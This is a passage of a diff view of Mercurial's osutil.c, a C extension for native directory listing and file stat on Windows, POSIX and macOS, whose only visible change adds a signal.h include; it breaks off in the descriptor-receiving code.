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@@ -1,1335 +1,1357 b'' | |||
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1 | 1 | /* |
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2 | 2 | osutil.c - native operating system services |
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3 | 3 | |
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4 | 4 | Copyright 2007 Matt Mackall and others |
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5 | 5 | |
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6 | 6 | This software may be used and distributed according to the terms of |
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7 | 7 | the GNU General Public License, incorporated herein by reference. |
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8 | 8 | */ |
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9 | 9 | |
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10 | 10 | #define _ATFILE_SOURCE |
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11 | 11 | #include <Python.h> |
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12 | 12 | #include <errno.h> |
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13 | 13 | #include <fcntl.h> |
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14 | 14 | #include <stdio.h> |
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15 | 15 | #include <stdlib.h> |
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16 | 16 | #include <string.h> |
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17 | 17 | |
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18 | 18 | #ifdef _WIN32 |
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19 | 19 | #include <io.h> |
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20 | 20 | #include <windows.h> |
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21 | 21 | #else |
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22 | 22 | #include <dirent.h> |
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23 | #include <signal.h> | |
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23 | 24 | #include <sys/socket.h> |
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24 | 25 | #include <sys/stat.h> |
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25 | 26 | #include <sys/types.h> |
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26 | 27 | #include <unistd.h> |
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27 | 28 | #ifdef HAVE_LINUX_STATFS |
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28 | 29 | #include <linux/magic.h> |
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29 | 30 | #include <sys/vfs.h> |
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30 | 31 | #endif |
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31 | 32 | #ifdef HAVE_BSD_STATFS |
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32 | 33 | #include <sys/mount.h> |
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33 | 34 | #include <sys/param.h> |
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34 | 35 | #endif |
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35 | 36 | #endif |
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36 | 37 | |
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37 | 38 | #ifdef __APPLE__ |
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38 | 39 | #include <sys/attr.h> |
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39 | 40 | #include <sys/vnode.h> |
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40 | 41 | #endif |
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41 | 42 | |
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42 | 43 | #include "util.h" |
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43 | 44 | |
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44 | 45 | /* some platforms lack the PATH_MAX definition (eg. GNU/Hurd) */ |
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45 | 46 | #ifndef PATH_MAX |
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46 | 47 | #define PATH_MAX 4096 |
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47 | 48 | #endif |
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48 | 49 | |
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49 | 50 | #ifdef _WIN32 |
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50 | 51 | /* |
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51 | 52 | stat struct compatible with hg expectations |
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52 | 53 | Mercurial only uses st_mode, st_size and st_mtime |
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53 | 54 | the rest is kept to minimize changes between implementations |
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54 | 55 | */ |
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55 | 56 | struct hg_stat { |
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56 | 57 | int st_dev; |
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57 | 58 | int st_mode; |
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58 | 59 | int st_nlink; |
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59 | 60 | __int64 st_size; |
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60 | 61 | int st_mtime; |
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61 | 62 | int st_ctime; |
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62 | 63 | }; |
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63 | 64 | struct listdir_stat { |
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64 | 65 | PyObject_HEAD |
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65 | 66 | struct hg_stat st; |
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66 | 67 | }; |
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67 | 68 | #else |
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68 | 69 | struct listdir_stat { |
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69 | 70 | PyObject_HEAD |
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70 | 71 | struct stat st; |
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71 | 72 | }; |
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72 | 73 | #endif |
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73 | 74 | |
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74 | 75 | #ifdef IS_PY3K |
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75 | 76 | #define listdir_slot(name) \ |
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76 | 77 | static PyObject *listdir_stat_##name(PyObject *self, void *x) \ |
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77 | 78 | { \ |
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78 | 79 | return PyLong_FromLong(((struct listdir_stat *)self)->st.name); \ |
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79 | 80 | } |
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80 | 81 | #else |
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81 | 82 | #define listdir_slot(name) \ |
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82 | 83 | static PyObject *listdir_stat_##name(PyObject *self, void *x) \ |
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83 | 84 | { \ |
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84 | 85 | return PyInt_FromLong(((struct listdir_stat *)self)->st.name); \ |
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85 | 86 | } |
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86 | 87 | #endif |
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87 | 88 | |
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88 | 89 | listdir_slot(st_dev) |
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89 | 90 | listdir_slot(st_mode) |
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90 | 91 | listdir_slot(st_nlink) |
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91 | 92 | #ifdef _WIN32 |
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92 | 93 | static PyObject *listdir_stat_st_size(PyObject *self, void *x) |
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93 | 94 | { |
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94 | 95 | return PyLong_FromLongLong( |
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95 | 96 | (PY_LONG_LONG)((struct listdir_stat *)self)->st.st_size); |
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96 | 97 | } |
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97 | 98 | #else |
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98 | 99 | listdir_slot(st_size) |
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99 | 100 | #endif |
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100 | 101 | listdir_slot(st_mtime) |
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101 | 102 | listdir_slot(st_ctime) |
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102 | 103 | |
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103 | 104 | static struct PyGetSetDef listdir_stat_getsets[] = { |
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104 | 105 | {"st_dev", listdir_stat_st_dev, 0, 0, 0}, |
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105 | 106 | {"st_mode", listdir_stat_st_mode, 0, 0, 0}, |
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106 | 107 | {"st_nlink", listdir_stat_st_nlink, 0, 0, 0}, |
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107 | 108 | {"st_size", listdir_stat_st_size, 0, 0, 0}, |
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108 | 109 | {"st_mtime", listdir_stat_st_mtime, 0, 0, 0}, |
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109 | 110 | {"st_ctime", listdir_stat_st_ctime, 0, 0, 0}, |
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110 | 111 | {0, 0, 0, 0, 0} |
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111 | 112 | }; |
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112 | 113 | |
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113 | 114 | static PyObject *listdir_stat_new(PyTypeObject *t, PyObject *a, PyObject *k) |
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114 | 115 | { |
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115 | 116 | return t->tp_alloc(t, 0); |
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116 | 117 | } |
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117 | 118 | |
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118 | 119 | static void listdir_stat_dealloc(PyObject *o) |
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119 | 120 | { |
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120 | 121 | o->ob_type->tp_free(o); |
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121 | 122 | } |
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122 | 123 | |
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123 | 124 | static PyTypeObject listdir_stat_type = { |
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124 | 125 | PyVarObject_HEAD_INIT(NULL, 0) /* header */ |
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125 | 126 | "osutil.stat", /*tp_name*/ |
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126 | 127 | sizeof(struct listdir_stat), /*tp_basicsize*/ |
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127 | 128 | 0, /*tp_itemsize*/ |
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128 | 129 | (destructor)listdir_stat_dealloc, /*tp_dealloc*/ |
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129 | 130 | 0, /*tp_print*/ |
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130 | 131 | 0, /*tp_getattr*/ |
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131 | 132 | 0, /*tp_setattr*/ |
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132 | 133 | 0, /*tp_compare*/ |
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133 | 134 | 0, /*tp_repr*/ |
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134 | 135 | 0, /*tp_as_number*/ |
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135 | 136 | 0, /*tp_as_sequence*/ |
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136 | 137 | 0, /*tp_as_mapping*/ |
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137 | 138 | 0, /*tp_hash */ |
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138 | 139 | 0, /*tp_call*/ |
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139 | 140 | 0, /*tp_str*/ |
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140 | 141 | 0, /*tp_getattro*/ |
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141 | 142 | 0, /*tp_setattro*/ |
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142 | 143 | 0, /*tp_as_buffer*/ |
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143 | 144 | Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ |
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144 | 145 | "stat objects", /* tp_doc */ |
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145 | 146 | 0, /* tp_traverse */ |
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146 | 147 | 0, /* tp_clear */ |
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147 | 148 | 0, /* tp_richcompare */ |
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148 | 149 | 0, /* tp_weaklistoffset */ |
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149 | 150 | 0, /* tp_iter */ |
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150 | 151 | 0, /* tp_iternext */ |
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151 | 152 | 0, /* tp_methods */ |
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152 | 153 | 0, /* tp_members */ |
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153 | 154 | listdir_stat_getsets, /* tp_getset */ |
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154 | 155 | 0, /* tp_base */ |
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155 | 156 | 0, /* tp_dict */ |
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156 | 157 | 0, /* tp_descr_get */ |
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157 | 158 | 0, /* tp_descr_set */ |
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158 | 159 | 0, /* tp_dictoffset */ |
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159 | 160 | 0, /* tp_init */ |
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160 | 161 | 0, /* tp_alloc */ |
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161 | 162 | listdir_stat_new, /* tp_new */ |
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162 | 163 | }; |
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163 | 164 | |
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164 | 165 | #ifdef _WIN32 |
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165 | 166 | |
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166 | 167 | static int to_python_time(const FILETIME *tm) |
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167 | 168 | { |
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168 | 169 | /* number of seconds between epoch and January 1 1601 */ |
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169 | 170 | const __int64 a0 = (__int64)134774L * (__int64)24L * (__int64)3600L; |
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170 | 171 | /* conversion factor from 100ns to 1s */ |
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171 | 172 | const __int64 a1 = 10000000; |
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172 | 173 | /* explicit (int) cast to suspend compiler warnings */ |
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173 | 174 | return (int)((((__int64)tm->dwHighDateTime << 32) |
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174 | 175 | + tm->dwLowDateTime) / a1 - a0); |
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175 | 176 | } |
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176 | 177 | |
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177 | 178 | static PyObject *make_item(const WIN32_FIND_DATAA *fd, int wantstat) |
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178 | 179 | { |
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179 | 180 | PyObject *py_st; |
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180 | 181 | struct hg_stat *stp; |
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181 | 182 | |
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182 | 183 | int kind = (fd->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) |
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183 | 184 | ? _S_IFDIR : _S_IFREG; |
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184 | 185 | |
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185 | 186 | if (!wantstat) |
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186 | 187 | return Py_BuildValue("si", fd->cFileName, kind); |
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187 | 188 | |
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188 | 189 | py_st = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL); |
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189 | 190 | if (!py_st) |
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190 | 191 | return NULL; |
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191 | 192 | |
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192 | 193 | stp = &((struct listdir_stat *)py_st)->st; |
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193 | 194 | /* |
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194 | 195 | use kind as st_mode |
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195 | 196 | rwx bits on Win32 are meaningless |
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196 | 197 | and Hg does not use them anyway |
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197 | 198 | */ |
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198 | 199 | stp->st_mode = kind; |
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199 | 200 | stp->st_mtime = to_python_time(&fd->ftLastWriteTime); |
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200 | 201 | stp->st_ctime = to_python_time(&fd->ftCreationTime); |
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201 | 202 | if (kind == _S_IFREG) |
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202 | 203 | stp->st_size = ((__int64)fd->nFileSizeHigh << 32) |
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203 | 204 | + fd->nFileSizeLow; |
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204 | 205 | return Py_BuildValue("siN", fd->cFileName, |
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205 | 206 | kind, py_st); |
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206 | 207 | } |
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207 | 208 | |
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208 | 209 | static PyObject *_listdir(char *path, int plen, int wantstat, char *skip) |
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209 | 210 | { |
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210 | 211 | PyObject *rval = NULL; /* initialize - return value */ |
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211 | 212 | PyObject *list; |
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212 | 213 | HANDLE fh; |
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213 | 214 | WIN32_FIND_DATAA fd; |
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214 | 215 | char *pattern; |
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215 | 216 | |
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216 | 217 | /* build the path + \* pattern string */ |
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217 | 218 | pattern = PyMem_Malloc(plen + 3); /* path + \* + \0 */ |
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218 | 219 | if (!pattern) { |
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219 | 220 | PyErr_NoMemory(); |
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220 | 221 | goto error_nomem; |
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221 | 222 | } |
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222 | 223 | memcpy(pattern, path, plen); |
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223 | 224 | |
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224 | 225 | if (plen > 0) { |
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225 | 226 | char c = path[plen-1]; |
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226 | 227 | if (c != ':' && c != '/' && c != '\\') |
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227 | 228 | pattern[plen++] = '\\'; |
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228 | 229 | } |
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229 | 230 | pattern[plen++] = '*'; |
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230 | 231 | pattern[plen] = '\0'; |
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231 | 232 | |
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232 | 233 | fh = FindFirstFileA(pattern, &fd); |
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233 | 234 | if (fh == INVALID_HANDLE_VALUE) { |
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234 | 235 | PyErr_SetFromWindowsErrWithFilename(GetLastError(), path); |
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235 | 236 | goto error_file; |
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236 | 237 | } |
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237 | 238 | |
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238 | 239 | list = PyList_New(0); |
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239 | 240 | if (!list) |
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240 | 241 | goto error_list; |
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241 | 242 | |
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242 | 243 | do { |
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243 | 244 | PyObject *item; |
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244 | 245 | |
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245 | 246 | if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { |
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246 | 247 | if (!strcmp(fd.cFileName, ".") |
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247 | 248 | || !strcmp(fd.cFileName, "..")) |
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248 | 249 | continue; |
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249 | 250 | |
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250 | 251 | if (skip && !strcmp(fd.cFileName, skip)) { |
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251 | 252 | rval = PyList_New(0); |
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252 | 253 | goto error; |
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253 | 254 | } |
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254 | 255 | } |
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255 | 256 | |
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256 | 257 | item = make_item(&fd, wantstat); |
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257 | 258 | if (!item) |
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258 | 259 | goto error; |
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259 | 260 | |
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260 | 261 | if (PyList_Append(list, item)) { |
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261 | 262 | Py_XDECREF(item); |
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262 | 263 | goto error; |
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263 | 264 | } |
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264 | 265 | |
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265 | 266 | Py_XDECREF(item); |
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266 | 267 | } while (FindNextFileA(fh, &fd)); |
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267 | 268 | |
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268 | 269 | if (GetLastError() != ERROR_NO_MORE_FILES) { |
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269 | 270 | PyErr_SetFromWindowsErrWithFilename(GetLastError(), path); |
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270 | 271 | goto error; |
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271 | 272 | } |
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272 | 273 | |
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273 | 274 | rval = list; |
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274 | 275 | Py_XINCREF(rval); |
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275 | 276 | error: |
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276 | 277 | Py_XDECREF(list); |
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277 | 278 | error_list: |
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278 | 279 | FindClose(fh); |
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279 | 280 | error_file: |
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280 | 281 | PyMem_Free(pattern); |
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281 | 282 | error_nomem: |
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282 | 283 | return rval; |
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283 | 284 | } |
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284 | 285 | |
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285 | 286 | #else |
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286 | 287 | |
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287 | 288 | int entkind(struct dirent *ent) |
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288 | 289 | { |
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289 | 290 | #ifdef DT_REG |
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290 | 291 | switch (ent->d_type) { |
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291 | 292 | case DT_REG: return S_IFREG; |
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292 | 293 | case DT_DIR: return S_IFDIR; |
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293 | 294 | case DT_LNK: return S_IFLNK; |
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294 | 295 | case DT_BLK: return S_IFBLK; |
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295 | 296 | case DT_CHR: return S_IFCHR; |
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296 | 297 | case DT_FIFO: return S_IFIFO; |
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297 | 298 | case DT_SOCK: return S_IFSOCK; |
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298 | 299 | } |
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299 | 300 | #endif |
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300 | 301 | return -1; |
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301 | 302 | } |
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302 | 303 | |
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303 | 304 | static PyObject *makestat(const struct stat *st) |
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304 | 305 | { |
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305 | 306 | PyObject *stat; |
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306 | 307 | |
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307 | 308 | stat = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL); |
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308 | 309 | if (stat) |
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309 | 310 | memcpy(&((struct listdir_stat *)stat)->st, st, sizeof(*st)); |
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310 | 311 | return stat; |
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311 | 312 | } |
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312 | 313 | |
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313 | 314 | static PyObject *_listdir_stat(char *path, int pathlen, int keepstat, |
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314 | 315 | char *skip) |
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315 | 316 | { |
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316 | 317 | PyObject *list, *elem, *stat = NULL, *ret = NULL; |
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317 | 318 | char fullpath[PATH_MAX + 10]; |
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318 | 319 | int kind, err; |
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319 | 320 | struct stat st; |
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320 | 321 | struct dirent *ent; |
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321 | 322 | DIR *dir; |
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322 | 323 | #ifdef AT_SYMLINK_NOFOLLOW |
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323 | 324 | int dfd = -1; |
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324 | 325 | #endif |
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325 | 326 | |
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326 | 327 | if (pathlen >= PATH_MAX) { |
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327 | 328 | errno = ENAMETOOLONG; |
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328 | 329 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
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329 | 330 | goto error_value; |
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330 | 331 | } |
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331 | 332 | strncpy(fullpath, path, PATH_MAX); |
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332 | 333 | fullpath[pathlen] = '/'; |
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333 | 334 | |
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334 | 335 | #ifdef AT_SYMLINK_NOFOLLOW |
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335 | 336 | dfd = open(path, O_RDONLY); |
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336 | 337 | if (dfd == -1) { |
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337 | 338 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
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338 | 339 | goto error_value; |
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339 | 340 | } |
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340 | 341 | dir = fdopendir(dfd); |
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341 | 342 | #else |
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342 | 343 | dir = opendir(path); |
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343 | 344 | #endif |
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344 | 345 | if (!dir) { |
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345 | 346 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
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346 | 347 | goto error_dir; |
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347 | 348 | } |
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348 | 349 | |
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349 | 350 | list = PyList_New(0); |
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350 | 351 | if (!list) |
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351 | 352 | goto error_list; |
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352 | 353 | |
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353 | 354 | while ((ent = readdir(dir))) { |
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354 | 355 | if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, "..")) |
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355 | 356 | continue; |
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356 | 357 | |
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357 | 358 | kind = entkind(ent); |
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358 | 359 | if (kind == -1 || keepstat) { |
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359 | 360 | #ifdef AT_SYMLINK_NOFOLLOW |
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360 | 361 | err = fstatat(dfd, ent->d_name, &st, |
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361 | 362 | AT_SYMLINK_NOFOLLOW); |
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362 | 363 | #else |
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363 | 364 | strncpy(fullpath + pathlen + 1, ent->d_name, |
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364 | 365 | PATH_MAX - pathlen); |
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365 | 366 | fullpath[PATH_MAX] = '\0'; |
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366 | 367 | err = lstat(fullpath, &st); |
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367 | 368 | #endif |
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368 | 369 | if (err == -1) { |
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369 | 370 | /* race with file deletion? */ |
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370 | 371 | if (errno == ENOENT) |
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371 | 372 | continue; |
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372 | 373 | strncpy(fullpath + pathlen + 1, ent->d_name, |
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373 | 374 | PATH_MAX - pathlen); |
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374 | 375 | fullpath[PATH_MAX] = 0; |
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375 | 376 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, |
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376 | 377 | fullpath); |
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377 | 378 | goto error; |
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378 | 379 | } |
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379 | 380 | kind = st.st_mode & S_IFMT; |
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380 | 381 | } |
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381 | 382 | |
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382 | 383 | /* quit early? */ |
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383 | 384 | if (skip && kind == S_IFDIR && !strcmp(ent->d_name, skip)) { |
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384 | 385 | ret = PyList_New(0); |
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385 | 386 | goto error; |
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386 | 387 | } |
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387 | 388 | |
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388 | 389 | if (keepstat) { |
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389 | 390 | stat = makestat(&st); |
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390 | 391 | if (!stat) |
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391 | 392 | goto error; |
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392 | 393 | elem = Py_BuildValue("siN", ent->d_name, kind, stat); |
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393 | 394 | } else |
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394 | 395 | elem = Py_BuildValue("si", ent->d_name, kind); |
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395 | 396 | if (!elem) |
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396 | 397 | goto error; |
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397 | 398 | stat = NULL; |
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398 | 399 | |
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399 | 400 | PyList_Append(list, elem); |
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400 | 401 | Py_DECREF(elem); |
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401 | 402 | } |
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402 | 403 | |
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403 | 404 | ret = list; |
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404 | 405 | Py_INCREF(ret); |
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405 | 406 | |
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406 | 407 | error: |
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407 | 408 | Py_DECREF(list); |
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408 | 409 | Py_XDECREF(stat); |
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409 | 410 | error_list: |
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410 | 411 | closedir(dir); |
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411 | 412 | /* closedir also closes its dirfd */ |
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412 | 413 | goto error_value; |
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413 | 414 | error_dir: |
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414 | 415 | #ifdef AT_SYMLINK_NOFOLLOW |
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415 | 416 | close(dfd); |
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416 | 417 | #endif |
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417 | 418 | error_value: |
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418 | 419 | return ret; |
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419 | 420 | } |
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420 | 421 | |
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421 | 422 | #ifdef __APPLE__ |
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422 | 423 | |
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423 | 424 | typedef struct { |
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424 | 425 | u_int32_t length; |
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425 | 426 | attrreference_t name; |
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426 | 427 | fsobj_type_t obj_type; |
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427 | 428 | struct timespec mtime; |
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428 | 429 | #if __LITTLE_ENDIAN__ |
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429 | 430 | mode_t access_mask; |
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430 | 431 | uint16_t padding; |
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431 | 432 | #else |
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432 | 433 | uint16_t padding; |
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433 | 434 | mode_t access_mask; |
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434 | 435 | #endif |
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435 | 436 | off_t size; |
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436 | 437 | } __attribute__((packed)) attrbuf_entry; |
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437 | 438 | |
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438 | 439 | int attrkind(attrbuf_entry *entry) |
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439 | 440 | { |
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440 | 441 | switch (entry->obj_type) { |
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441 | 442 | case VREG: return S_IFREG; |
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442 | 443 | case VDIR: return S_IFDIR; |
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443 | 444 | case VLNK: return S_IFLNK; |
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444 | 445 | case VBLK: return S_IFBLK; |
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445 | 446 | case VCHR: return S_IFCHR; |
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446 | 447 | case VFIFO: return S_IFIFO; |
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447 | 448 | case VSOCK: return S_IFSOCK; |
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448 | 449 | } |
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449 | 450 | return -1; |
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450 | 451 | } |
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451 | 452 | |
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452 | 453 | /* get these many entries at a time */ |
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453 | 454 | #define LISTDIR_BATCH_SIZE 50 |
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454 | 455 | |
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455 | 456 | static PyObject *_listdir_batch(char *path, int pathlen, int keepstat, |
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456 | 457 | char *skip, bool *fallback) |
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457 | 458 | { |
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458 | 459 | PyObject *list, *elem, *stat = NULL, *ret = NULL; |
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459 | 460 | int kind, err; |
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460 | 461 | unsigned long index; |
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461 | 462 | unsigned int count, old_state, new_state; |
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462 | 463 | bool state_seen = false; |
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463 | 464 | attrbuf_entry *entry; |
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464 | 465 | /* from the getattrlist(2) man page: a path can be no longer than |
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465 | 466 | (NAME_MAX * 3 + 1) bytes. Also, "The getattrlist() function will |
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466 | 467 | silently truncate attribute data if attrBufSize is too small." So |
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467 | 468 | pass in a buffer big enough for the worst case. */ |
|
468 | 469 | char attrbuf[LISTDIR_BATCH_SIZE * (sizeof(attrbuf_entry) + NAME_MAX * 3 + 1)]; |
|
469 | 470 | unsigned int basep_unused; |
|
470 | 471 | |
|
471 | 472 | struct stat st; |
|
472 | 473 | int dfd = -1; |
|
473 | 474 | |
|
474 | 475 | /* these must match the attrbuf_entry struct, otherwise you'll end up |
|
475 | 476 | with garbage */ |
|
476 | 477 | struct attrlist requested_attr = {0}; |
|
477 | 478 | requested_attr.bitmapcount = ATTR_BIT_MAP_COUNT; |
|
478 | 479 | requested_attr.commonattr = (ATTR_CMN_NAME | ATTR_CMN_OBJTYPE | |
|
479 | 480 | ATTR_CMN_MODTIME | ATTR_CMN_ACCESSMASK); |
|
480 | 481 | requested_attr.fileattr = ATTR_FILE_DATALENGTH; |
|
481 | 482 | |
|
482 | 483 | *fallback = false; |
|
483 | 484 | |
|
484 | 485 | if (pathlen >= PATH_MAX) { |
|
485 | 486 | errno = ENAMETOOLONG; |
|
486 | 487 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
|
487 | 488 | goto error_value; |
|
488 | 489 | } |
|
489 | 490 | |
|
490 | 491 | dfd = open(path, O_RDONLY); |
|
491 | 492 | if (dfd == -1) { |
|
492 | 493 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
|
493 | 494 | goto error_value; |
|
494 | 495 | } |
|
495 | 496 | |
|
496 | 497 | list = PyList_New(0); |
|
497 | 498 | if (!list) |
|
498 | 499 | goto error_dir; |
|
499 | 500 | |
|
500 | 501 | do { |
|
501 | 502 | count = LISTDIR_BATCH_SIZE; |
|
502 | 503 | err = getdirentriesattr(dfd, &requested_attr, &attrbuf, |
|
503 | 504 | sizeof(attrbuf), &count, &basep_unused, |
|
504 | 505 | &new_state, 0); |
|
505 | 506 | if (err < 0) { |
|
506 | 507 | if (errno == ENOTSUP) { |
|
507 | 508 | /* We're on a filesystem that doesn't support |
|
508 | 509 | getdirentriesattr. Fall back to the |
|
509 | 510 | stat-based implementation. */ |
|
510 | 511 | *fallback = true; |
|
511 | 512 | } else |
|
512 | 513 | PyErr_SetFromErrnoWithFilename(PyExc_OSError, path); |
|
513 | 514 | goto error; |
|
514 | 515 | } |
|
515 | 516 | |
|
516 | 517 | if (!state_seen) { |
|
517 | 518 | old_state = new_state; |
|
518 | 519 | state_seen = true; |
|
519 | 520 | } else if (old_state != new_state) { |
|
520 | 521 | /* There's an edge case with getdirentriesattr. Consider |
|
521 | 522 | the following initial list of files: |
|
522 | 523 | |
|
523 | 524 | a |
|
524 | 525 | b |
|
525 | 526 | <-- |
|
526 | 527 | c |
|
527 | 528 | d |
|
528 | 529 | |
|
529 | 530 | If the iteration is paused at the arrow, and b is |
|
530 | 531 | deleted before it is resumed, getdirentriesattr will |
|
531 | 532 | not return d at all! Ordinarily we're expected to |
|
532 | 533 | restart the iteration from the beginning. To avoid |
|
533 | 534 | getting stuck in a retry loop here, fall back to |
|
534 | 535 | stat. */ |
|
535 | 536 | *fallback = true; |
|
536 | 537 | goto error; |
|
537 | 538 | } |
|
538 | 539 | |
|
539 | 540 | entry = (attrbuf_entry *)attrbuf; |
|
540 | 541 | |
|
541 | 542 | for (index = 0; index < count; index++) { |
|
542 | 543 | char *filename = ((char *)&entry->name) + |
|
543 | 544 | entry->name.attr_dataoffset; |
|
544 | 545 | |
|
545 | 546 | if (!strcmp(filename, ".") || !strcmp(filename, "..")) |
|
546 | 547 | continue; |
|
547 | 548 | |
|
548 | 549 | kind = attrkind(entry); |
|
549 | 550 | if (kind == -1) { |
|
550 | 551 | PyErr_Format(PyExc_OSError, |
|
551 | 552 | "unknown object type %u for file " |
|
552 | 553 | "%s%s!", |
|
553 | 554 | entry->obj_type, path, filename); |
|
554 | 555 | goto error; |
|
555 | 556 | } |
|
556 | 557 | |
|
557 | 558 | /* quit early? */ |
|
558 | 559 | if (skip && kind == S_IFDIR && !strcmp(filename, skip)) { |
|
559 | 560 | ret = PyList_New(0); |
|
560 | 561 | goto error; |
|
561 | 562 | } |
|
562 | 563 | |
|
563 | 564 | if (keepstat) { |
|
564 | 565 | /* from the getattrlist(2) man page: "Only the |
|
565 | 566 | permission bits ... are valid". */ |
|
566 | 567 | st.st_mode = (entry->access_mask & ~S_IFMT) | kind; |
|
567 | 568 | st.st_mtime = entry->mtime.tv_sec; |
|
568 | 569 | st.st_size = entry->size; |
|
569 | 570 | stat = makestat(&st); |
|
570 | 571 | if (!stat) |
|
571 | 572 | goto error; |
|
572 | 573 | elem = Py_BuildValue("siN", filename, kind, stat); |
|
573 | 574 | } else |
|
574 | 575 | elem = Py_BuildValue("si", filename, kind); |
|
575 | 576 | if (!elem) |
|
576 | 577 | goto error; |
|
577 | 578 | stat = NULL; |
|
578 | 579 | |
|
579 | 580 | PyList_Append(list, elem); |
|
580 | 581 | Py_DECREF(elem); |
|
581 | 582 | |
|
582 | 583 | entry = (attrbuf_entry *)((char *)entry + entry->length); |
|
583 | 584 | } |
|
584 | 585 | } while (err == 0); |
|
585 | 586 | |
|
586 | 587 | ret = list; |
|
587 | 588 | Py_INCREF(ret); |
|
588 | 589 | |
|
589 | 590 | error: |
|
590 | 591 | Py_DECREF(list); |
|
591 | 592 | Py_XDECREF(stat); |
|
592 | 593 | error_dir: |
|
593 | 594 | close(dfd); |
|
594 | 595 | error_value: |
|
595 | 596 | return ret; |
|
596 | 597 | } |
|
597 | 598 | |
|
598 | 599 | #endif /* __APPLE__ */ |
|
599 | 600 | |
|
600 | 601 | static PyObject *_listdir(char *path, int pathlen, int keepstat, char *skip) |
|
601 | 602 | { |
|
602 | 603 | #ifdef __APPLE__ |
|
603 | 604 | PyObject *ret; |
|
604 | 605 | bool fallback = false; |
|
605 | 606 | |
|
606 | 607 | ret = _listdir_batch(path, pathlen, keepstat, skip, &fallback); |
|
607 | 608 | if (ret != NULL || !fallback) |
|
608 | 609 | return ret; |
|
609 | 610 | #endif |
|
610 | 611 | return _listdir_stat(path, pathlen, keepstat, skip); |
|
611 | 612 | } |
|
612 | 613 | |
|
613 | 614 | static PyObject *statfiles(PyObject *self, PyObject *args) |
|
614 | 615 | { |
|
615 | 616 | PyObject *names, *stats; |
|
616 | 617 | Py_ssize_t i, count; |
|
617 | 618 | |
|
618 | 619 | if (!PyArg_ParseTuple(args, "O:statfiles", &names)) |
|
619 | 620 | return NULL; |
|
620 | 621 | |
|
621 | 622 | count = PySequence_Length(names); |
|
622 | 623 | if (count == -1) { |
|
623 | 624 | PyErr_SetString(PyExc_TypeError, "not a sequence"); |
|
624 | 625 | return NULL; |
|
625 | 626 | } |
|
626 | 627 | |
|
627 | 628 | stats = PyList_New(count); |
|
628 | 629 | if (stats == NULL) |
|
629 | 630 | return NULL; |
|
630 | 631 | |
|
631 | 632 | for (i = 0; i < count; i++) { |
|
632 | 633 | PyObject *stat, *pypath; |
|
633 | 634 | struct stat st; |
|
634 | 635 | int ret, kind; |
|
635 | 636 | char *path; |
|
636 | 637 | |
|
637 | 638 | /* With a large file count or on a slow filesystem, |
|
638 | 639 | don't block signals for long (issue4878). */ |
|
639 | 640 | if ((i % 1000) == 999 && PyErr_CheckSignals() == -1) |
|
640 | 641 | goto bail; |
|
641 | 642 | |
|
642 | 643 | pypath = PySequence_GetItem(names, i); |
|
643 | 644 | if (!pypath) |
|
644 | 645 | goto bail; |
|
645 | 646 | path = PyBytes_AsString(pypath); |
|
646 | 647 | if (path == NULL) { |
|
647 | 648 | Py_DECREF(pypath); |
|
648 | 649 | PyErr_SetString(PyExc_TypeError, "not a string"); |
|
649 | 650 | goto bail; |
|
650 | 651 | } |
|
651 | 652 | ret = lstat(path, &st); |
|
652 | 653 | Py_DECREF(pypath); |
|
653 | 654 | kind = st.st_mode & S_IFMT; |
|
654 | 655 | if (ret != -1 && (kind == S_IFREG || kind == S_IFLNK)) { |
|
655 | 656 | stat = makestat(&st); |
|
656 | 657 | if (stat == NULL) |
|
657 | 658 | goto bail; |
|
658 | 659 | PyList_SET_ITEM(stats, i, stat); |
|
659 | 660 | } else { |
|
660 | 661 | Py_INCREF(Py_None); |
|
661 | 662 | PyList_SET_ITEM(stats, i, Py_None); |
|
662 | 663 | } |
|
663 | 664 | } |
|
664 | 665 | |
|
665 | 666 | return stats; |
|
666 | 667 | |
|
667 | 668 | bail: |
|
668 | 669 | Py_DECREF(stats); |
|
669 | 670 | return NULL; |
|
670 | 671 | } |
|
671 | 672 | |
|
672 | 673 | /* |
|
673 | 674 | * recvfds() simply does not release GIL during blocking io operation because |
|
674 | 675 | * command server is known to be single-threaded. |
|
675 | 676 | * |
|
676 | 677 | * Old systems such as Solaris don't provide CMSG_LEN, msg_control, etc. |
|
677 | 678 | * Currently, recvfds() is not supported on these platforms. |
|
678 | 679 | */ |
|
679 | 680 | #ifdef CMSG_LEN |
|
680 | 681 | |
|
681 | 682 | static ssize_t recvfdstobuf(int sockfd, int **rfds, void *cbuf, size_t cbufsize) |
|
682 | 683 | { |
|
683 | 684 | char dummy[1]; |
|
684 | 685 | struct iovec iov = {dummy, sizeof(dummy)}; |
|
685 | 686 | struct msghdr msgh = {0}; |
|
686 | 687 | struct cmsghdr *cmsg; |
|
687 | 688 | |
|
688 | 689 | msgh.msg_iov = &iov; |
|
689 | 690 | msgh.msg_iovlen = 1; |
|
690 | 691 | msgh.msg_control = cbuf; |
|
691 | 692 | msgh.msg_controllen = (socklen_t)cbufsize; |
|
692 | 693 | if (recvmsg(sockfd, &msgh, 0) < 0) |
|
693 | 694 | return -1; |
|
694 | 695 | |
|
695 | 696 | for (cmsg = CMSG_FIRSTHDR(&msgh); cmsg; |
|
696 | 697 | cmsg = CMSG_NXTHDR(&msgh, cmsg)) { |
|
697 | 698 | if (cmsg->cmsg_level != SOL_SOCKET || |
|
698 | 699 | cmsg->cmsg_type != SCM_RIGHTS) |
|
699 | 700 | continue; |
|
700 | 701 | *rfds = (int *)CMSG_DATA(cmsg); |
|
701 | 702 | return (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int); |
|
702 | 703 | } |
|
703 | 704 | |
|
704 | 705 | *rfds = cbuf; |
|
705 | 706 | return 0; |
|
706 | 707 | } |
|
707 | 708 | |
|
708 | 709 | static PyObject *recvfds(PyObject *self, PyObject *args) |
|
709 | 710 | { |
|
710 | 711 | int sockfd; |
|
711 | 712 | int *rfds = NULL; |
|
712 | 713 | ssize_t rfdscount, i; |
|
